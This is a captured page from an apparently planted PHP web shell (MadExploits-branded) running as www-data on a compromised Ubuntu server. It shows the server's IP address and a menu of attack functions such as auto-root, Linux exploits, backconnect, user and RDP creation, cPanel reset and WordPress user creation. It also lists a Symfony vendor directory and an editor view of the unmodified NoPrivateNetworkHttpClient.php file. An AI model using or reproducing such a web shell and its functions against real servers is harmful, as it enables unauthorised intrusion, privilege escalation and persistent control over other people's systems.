Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sms-auth /
vendor /
symfony /
http-client /
[ HOME SHELL ]
Name
Size
Permission
Action
Chunk
[ DIR ]
drwxrwxr-x
DataCollector
[ DIR ]
drwxrwxr-x
DependencyInjection
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Internal
[ DIR ]
drwxrwxr-x
Response
[ DIR ]
drwxrwxr-x
Retry
[ DIR ]
drwxrwxr-x
AmpHttpClient.php
6.97
KB
-rw-rw-r--
AsyncDecoratorTrait.php
1.37
KB
-rw-rw-r--
CHANGELOG.md
2.06
KB
-rw-rw-r--
CachingHttpClient.php
5.24
KB
-rw-rw-r--
CurlHttpClient.php
24.82
KB
-rw-rw-r--
DecoratorTrait.php
1.31
KB
-rw-rw-r--
EventSourceHttpClient.php
5.66
KB
-rw-rw-r--
HttpClient.php
3.4
KB
-rw-rw-r--
HttpClientTrait.php
24.78
KB
-rw-rw-r--
HttpOptions.php
5.44
KB
-rw-rw-r--
HttplugClient.php
9.51
KB
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
MockHttpClient.php
3.77
KB
-rw-rw-r--
NativeHttpClient.php
18.07
KB
-rw-rw-r--
NoPrivateNetworkHttpClient.php
3.9
KB
-rw-rw-r--
Psr18Client.php
7.95
KB
-rw-rw-r--
README.md
532
B
-rw-rw-r--
RetryableHttpClient.php
5.67
KB
-rw-rw-r--
ScopingHttpClient.php
4.08
KB
-rw-rw-r--
TraceableHttpClient.php
3.41
KB
-rw-rw-r--
composer.json
1.64
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NoPrivateNetworkHttpClient.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpClient; use Psr\Log\LoggerAwareInterface; use Psr\Log\LoggerInterface; use Symfony\Component\HttpClient\Exception\InvalidArgumentException; use Symfony\Component\HttpClient\Exception\TransportException; use Symfony\Component\HttpFoundation\IpUtils; use Symfony\Contracts\HttpClient\HttpClientInterface; use Symfony\Contracts\HttpClient\ResponseInterface; use Symfony\Contracts\HttpClient\ResponseStreamInterface; /** * Decorator that blocks requests to private networks by default. * * @author Hallison Boaventura <hallisonboaventura@gmail.com> */ final class NoPrivateNetworkHttpClient implements HttpClientInterface, LoggerAwareInterface { use HttpClientTrait; private const PRIVATE_SUBNETS = [ '127.0.0.0/8', '10.0.0.0/8', '192.168.0.0/16', '172.16.0.0/12', '169.254.0.0/16', '0.0.0.0/8', '240.0.0.0/4', '::1/128', 'fc00::/7', 'fe80::/10', '::ffff:0:0/96', '::/128', ]; private $client; private $subnets; /** * @param string|array|null $subnets String or array of subnets using CIDR notation that will be used by IpUtils. * If null is passed, the standard private subnets will be used. */ public function __construct(HttpClientInterface $client, $subnets = null) { if (!(\is_array($subnets) || \is_string($subnets) || null === $subnets)) { throw new \TypeError(sprintf('Argument 2 passed to "%s()" must be of the type array, string or null. "%s" given.', __METHOD__, get_debug_type($subnets))); } if (!class_exists(IpUtils::class)) { throw new \LogicException(sprintf('You can not use "%s" if the HttpFoundation component is not installed. Try running "composer require symfony/http-foundation".', __CLASS__)); } $this->client = $client; $this->subnets = $subnets; } /** * {@inheritdoc} */ public function request(string $method, string $url, array $options = []): ResponseInterface { $onProgress = $options['on_progress'] ?? null; if (null !== $onProgress && !\is_callable($onProgress)) { throw new InvalidArgumentException(sprintf('Option "on_progress" must be callable, "%s" given.', get_debug_type($onProgress))); } $subnets = $this->subnets; $lastPrimaryIp = ''; $options['on_progress'] = function (int $dlNow, int $dlSize, array $info) use ($onProgress, $subnets, &$lastPrimaryIp): void { if ($info['primary_ip'] !== $lastPrimaryIp) { if (IpUtils::checkIp($info['primary_ip'], $subnets ?? self::PRIVATE_SUBNETS)) { throw new TransportException(sprintf('IP "%s" is blocked for "%s".', $info['primary_ip'], $info['url'])); } $lastPrimaryIp = $info['primary_ip']; } null !== $onProgress && $onProgress($dlNow, $dlSize, $info); }; return $this->client->request($method, $url, $options); } /** * {@inheritdoc} */ public function stream($responses, float $timeout = null): ResponseStreamInterface { return $this->client->stream($responses, $timeout); } /** * {@inheritdoc} */ public function setLogger(LoggerInterface $logger): void { if ($this->client instanceof LoggerAwareInterface) { $this->client->setLogger($logger); } } /** * {@inheritdoc} */ public function withOptions(array $options): self { $clone = clone $this; $clone->client = $this->client->withOptions($options); return $clone; } }
Close